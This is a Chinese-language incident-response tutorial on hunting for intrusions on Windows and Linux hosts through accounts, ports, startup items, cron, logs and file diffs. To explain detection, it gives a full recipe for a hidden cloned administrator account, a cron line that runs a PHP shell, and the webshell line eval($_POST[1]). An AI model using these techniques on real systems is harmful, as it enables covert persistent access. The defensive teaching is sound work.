应急响应初探之入侵排查

应急响应之入侵排查

应急事件:

  • web入侵:网页挂马、主页篡改、Webshell
  • 系统入侵:病毒木马、勒索软件、远控后门
  • 网络攻击:DDOS攻击、DNS劫持、ARP欺骗

Windows入侵排查:

检查系统账号安全:

1. 查看服务器是否存在可疑账号/新增账号

如果windows系统被入侵,我们首先要查看攻击者是否创建了账号进行了远程登录

打开 cmd 窗口,输入lusrmgr.msc命令,查看是否有新增/可疑的账号,查看管理员群组(Administrators)内是否进行了新增用户

2. 查看是否存在隐藏账号/克隆账号

隐藏账号/克隆账号来源:

  • 我们在CMD命令行下,建立一个用户名为“test$”,密码为“abc123!”的简单隐藏账户,并且把该隐藏账户提升为了管理员权限。
新建账户
>net user test$ abc123! /add
将账户提升为管理员权限
>net localgroup administrators test$ /add
  • 这时候我们使用net user查看用户是无法看到我们新注册的这个隐藏账户的,只有在用户和组里面才能看到

  • 然后我们打开注册表,进入"HKEY_LOCAL_MACHINE\SAM\SAM",右键单击权限,将权限改为:administrator的用户给予完全控制以及读取的权限,然后关闭注册表编辑器,再次打开就可以看到里面的内容,在对应目录下我们可以看到我们用户的注册表内容,这里test$类型为0x3EA,对应的就是上面的000003EA目录:

  • 找到administrator所对应的的项为“000001F4”,将“000001F4”的F值复制到“000003EC”的F值中,保存

  • 分别test$和000003EC导出到桌面,删除test$用户:net user test$ /del

  • 然后将两个reg文件导入注册表,我们在删除了用户之后,注册表中就不存在了,然后我们再将两个注册表文件导入,这样就只有注册表中存在我们这个用户:

  • 然后我们再回到用户和组里面去找并发现不了这个账户:

  • 注意:需将新创建的隐藏账户test$ 添加在允许远程桌面用户的位置,默认只允许 Administrator,不然隐藏账户 test$ 无法登录
    远程登录隐藏账户 test$ 时,账户名是test$ 密码是abc123!

应急方式:

一.打开注册表(regedit/regedt32.exe),查看管理员对应的键值,对比用户和组与注册表中的用户信息是否一致

二.使用D盾对克隆账号进行检测

3. 查看日志是否存在异常登录

Win+R打开运行,输入“eventvwr.msc”,打开“事件查看器”。导出Windows日志--安全,利用Log Parser进行分析。

检查异常端口、进程

1. 检查端口连接情况

  • netstat -ano查看目前的网络连接情况,定位可疑的ESTABLISHED
  • 根据netstat定位出的pid,再通过tasklist命令进行进程定位tasklist | findstr "PID"或任务管理器--查看--选择列--PID
  • 查看端口对应的PID: netstat -ano | findstr "port"
  • 查看进程对应的程序位置:任务管理器--选择对应进程--右键打开文件位置/运行输入 wmic,cmd界面 输入 process
  • tasklist /svc 进程--PID--服务
  • 查看Windows服务所对应的端口:%system%/system32/drivers/etc/services(一般%system%就是C:\Windows)

2. 查看进程情况

  • cmd打开系统信息(msinfo32),"软件环境"->"正在运行任务"可以查看进程的详细信息(进程路径、进程ID、文件创建日期、启动时间),查看可疑内容:

没有签名验证信息的进程(可以通过D盾_web查杀工具,进程查看,关注没有签名信息的进程)
没有描述信息的进程
进程的属主
进程的路径是否合法
CPU或内存资源占用长时间过高的进程

检查启动项、计划任务、服务

1. 检查服务器是否有异常的启动项

  • 【开始】>【所有程序】>【启动】,默认情况下此目录在是一个空目录,确认是否有非业务程序在该目录下。

  • 输入 msconfig,查看是否存在命名异常的启动项目,并查看项目的文件路径

  • 输入 regedit,打开注册表,查看开机启动项是否正常,注意下面三个注册表项,检查右侧是否有启动异常的项目
HKEY_CURRENT_USER\software\micorsoft\windows\currentversion\run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce

d、组策略,运行gpedit.msc。

2. 检查计划任务

  • 在控制面版中找到任务计划,查看计划任务属性,便可以发现木马文件的路径

  • 在cmd中输入at,检查计算机与网络上的其它计算机之间的会话或计划任务,如有,则确认是否为正常连接

3. 服务自启动

  • 输入services.msc,注意服务状态和启动类型,检查是否有异常服务。

检查系统相关信息

1.查看系统版本以及补丁信息

systeminfo,查看系统信息

2. 查找可疑目录及文件

  • 查看用户目录,查看是否有新建用户目录。
Window 2003 : C:\Documents and Settings
 Window 2008R2 : C:\Users\
  • 输入%UserProfile%\Recent,分析最近打开分析可疑文件

3.查看某一时间创建文件

发现恶意文件的创建时间,找出同一时间范围内创建的文件:

  • 利用 Registry Workshop 注册表编辑器的搜索功能,找到最后写入时间区间的文件
  • 利用自带文件搜索功能,指定修改时间

Linux入侵排查:

检查linux账号安全:

用户信息文件

/etc/passwd
root:x:0:0:root:/root:/bin/bash
account:password:UID:GID:GECOS:directory:shell
用户名:密码:用户ID:组ID:用户说明:家目录:登陆之后shell


/etc/shadow
root:$6$oGs1PqhL2p3ZetrE$X7o7bzoouHQVSEmSgsYN5UD4.kMHx6qgbTqwNVC5oOAouXvcjQSt.Ft7ql1WpkopY0UV9ajBwUt1DpYxTCVvI/:16809:0:99999:7:::
用户名:加密密码:密码最后一次修改日期:两次密码的修改时间间隔:密码有效期:密码修改到期到的警告天数:密码过期之后的宽限天数:账号失效时间:保留
who     查看当前登录用户(tty本地登陆  pts远程登录)
w       查看系统信息,想知道某一时刻用户的行为
uptime  查看登陆多久、多少用户,负载

docker查询特权(uid==0)用户(uid 为0)
awk -F: '$3==0{print $1}' /etc/passwd
查询可以远程登录的帐号信息
awk '/\$1|\$6/{print $1}' /etc/shadow
除root帐号外,其他帐号是否存在sudo权限
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
禁用或删除多余及可疑的帐号
usermod -L user    禁用帐号,帐号无法登录,/etc/shadow第二栏为!开头
userdel user       删除user用户
userdel -r user    将删除user用户,并且将/home目录下的user目录一并删除

查看历史命令:

进入/home用户目录下(root下为history):

cat .bash_history >> history.txt

为历史命令添加IP地址,时间信息:

- 保存1万条命令
sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile
- 在/etc/profile的文件尾部添加如下行数配置信息:
######jiagu history xianshi#########
USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`
if [ "$USER_IP" = "" ]
then
USER_IP=`hostname`
fi
export HISTTIMEFORMAT="%F %T $USER_IP `whoami` "
shopt -s histappend
export PROMPT_COMMAND="history -a"
######### jiagu history xianshi ##########
- source /etc/profile让配置生效

检查异常IP端口进程

  • netstat命令查看端口IP以及PID进程
netstat -antlp|more

  • 查看PID对应进程文件路径:
ls -l /proc/$PID/exe
file /proc/$PID/exe
  • 查看异常进程
ps aux | grep pid

查看启动项:

开机启动配置文件

/etc/rc.local
/etc/rc.d/rc[0~6].d

需要开机启动脚本时,将可执行脚本放在/etc/init.d目录下,然后在/etc/rc.d/rc*.d中建立软链接

ln -s /etc/init.d/sshd /etc/rc.d/rc3.d/S100ssh
#此处sshd是具体服务的脚本文件,S100ssh是其软链接,S开头代表加载时自启动;如果是K开头的脚本文件,代表运行级别加载时需要关闭的。

启动项文件:

more /etc/rc.local /etc/rc.d/rc[0~6].d ls -l /etc/rc.d/rc3.d/

检查定时任务

1. 利用crontab创建计划任务

crontab -l 列出某个用户cron服务的详细内容

crontab -r 删除每个用户cront任务(谨慎:删除所有的计划任务)

crontab -e 使用编辑器编辑当前的crontab文件
  • 默认编写的crontab文件会保存在 (/var/spool/cron/用户名 例如: /var/spool/cron/root)
  • crontab -e在打开的编辑器中,在文件末尾添加一行来定义新的定时任务。设置为每两分钟执行一次/path/to/shell.php
*/2 * * * * /usr/bin/php /path/to/shell.php
  • */2:表示每两分钟触发一次。
  • * * * * *:分别代表分钟、小时、月份中的日期、月份和周几,星号(*)表示任意值。

2. 利用anacron实现异步定时任务调度

在Linux系统中,anacron是一个用于在系统非7x24小时运行时执行定时任务的守护进程。它主要设计用于那些并非全天候开机的桌面或服务器环境,确保即使系统在预定任务执行时间未开机,也能在下次启动后执行这些任务。

vi /etc/anacrontab @daily 10 example.daily /bin/bash /home/backup.sh
  • @daily:这是一个周期标识符,表示此任务应每天执行一次。
  • 10:表示当系统启动后,等待10分钟再执行该任务。这样做的目的是给系统一些时间完成启动过程,确保依赖的服务已经启动并且环境稳定。
  • example.daily:是任务的描述名,可以根据需要自定义。
  • /bin/bash /home/backup.sh:这是实际要执行的命令,即通过bash shell执行/home/backup.sh脚本。

因此,如果机器在backup.sh应该运行的时间点处于关机状态,那么当机器下次开机后,anacron在开机10分钟后执行/home/backup.sh脚本,而不是等到下一天才执行。

3. 排查任务中的恶意脚本

/var/spool/cron/* 
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/* 
/etc/cron.hourly/* 
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*
more /etc/cron.daily/*  查看目录下所有文件

检查服务

1. 服务自启动

修改方式:

法一:
chkconfig [--level 运行级别] [独立服务名] [on|off]
chkconfig –level  2345 httpd on  开启自启动
chkconfig httpd on (默认level是2345)
法二:
修改/etc/re.d/rc.local 文件  
加入 /etc/init.d/httpd start
法三:
使用ntsysv命令管理自启动,可以管理独立服务和xinetd服务。

2. 查询已安装的服务:

  • RPM包安装的服务
chkconfig  --list  查看服务自启动状态,可以看到所有的RPM包安装的服务
ps aux | grep crond 查看当前服务
系统在3与5级别下的启动项 
中文环境
chkconfig --list | grep "3:启用\|5:启用"
英文环境
chkconfig --list | grep "3:on\|5:on"
  • 源码包安装的服务
查看服务安装位置 通常在/user/local/目录
service httpd start
搜索/etc/rc.d/init.d/ 查看是否存在

检查异常文件:

1. 查看敏感目录

/tmp目录下的文件,同时注意隐藏文件夹,以"."为名的文件夹具有隐藏属性

2. 通过时间查找可疑文件

使用find命令查找

find /opt -iname "*" -atime 1 -type f 
找出 /opt 下一天前访问过的文件

3、针对可疑文件可以使用stat查询创建修改时间。

stat 文件名
File: 文件名
Size: 字节大小
Blocks: 块数
IO Block: IO块大小
Device: 设备号
Inode: 索引节点号
Links: 链接数
Access: 最近访问时间
Modify: 最近修改时间
Change: 最近状态改变时间(对于大多数文件系统,这通常是最近一次修改时间)
Birth: 创建时间(并非所有文件系统都支持显示创建时间)

通过这些信息,可以判断文件的时间戳是否正常,或者与预期的行为相符,从而辅助进行安全分析和决策。特别是在取证分析或者系统安全审计时,这样的信息尤为重要。

日志分析:

1、定位有多少IP在爆破主机的root帐号:    
grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

2、定位有哪些IP在爆破:
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c

3、爆破用户名字典是什么?
 grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr

4、登录成功的IP有哪些:     
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

5、登录成功的日期、用户名、IP:
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
1、增加一个用户kali日志:
Jul 10 00:12:15 localhost useradd[2382]: new group: name=kali, GID=1001
Jul 10 00:12:15 localhost useradd[2382]: new user: name=kali, UID=1001, GID=1001, home=/home/kali
, shell=/bin/bash
Jul 10 00:12:58 localhost passwd: pam_unix(passwd:chauthtok): password changed for kali
#grep "useradd" /var/log/secure 

7、删除用户kali日志:
Jul 10 00:14:17 localhost userdel[2393]: delete user 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed group 'kali' owned by 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed shadow group 'kali' owned by 'kali'
# grep "userdel" /var/log/secure

5、su切换用户:
Jul 10 00:38:13 localhost su: pam_unix(su-l:session): session opened for user good by root(uid=0)

sudo授权执行:
sudo -l
Jul 10 00:43:09 localhost sudo:    good : TTY=pts/4 ; PWD=/home/good ; USER=root ; COMMAND=/sbin/shutdown -r now

排查隐藏后门:

1. 文件MD5校验:

def md5sum(file):
    m=hashlib.md5()
    if os.path.isfile(file):
        f=open(file,'rb')
        for line in f:
            m.update(line)
        f.close
    else:
        m.update(file)
    return (m.hexdigest())

对比前后文件哈希,找到修改的文件

2. diff命令寻找差异文件

diff经常用来比较两个文本文件,所以可以通过一行命令快速找出两个项目文件的差异。

diff -c -a -r cms1 cms2

  • *** 1/index.php 2024-01-21 00:57:00.115969882 +0800:表示原始文件(旧版本)的路径和修改时间。
  • --- html/index.php 2024-01-21 00:56:00.243088661 +0800:表示新版本文件的路径和修改时间。
  • ***************:分隔符,标记接下来的内容是两版文件之间的不同之处。
  • *** 1,4 ****:表示在原始文件中从第1行到第4行的内容。
  • --- 1,5 ----:表示在新版本文件中从第1行到第5行的内容。
+ eval($_POST[1]);
这一行前带有加号 "+",意味着这是在新版本html/index.php文件中新添加的一行代码

参考文章:
https://www.cnblogs.com/xiaozi/p/12687455.html
https://forum.butian.net/share/2170
https://forum.butian.net/share/2148
https://www.cnblogs.com/-qing-/p/10513033.html
https://bypass007.github.io/Emergency-Response-Notes/

0 条评论
某人
表情
可输入 255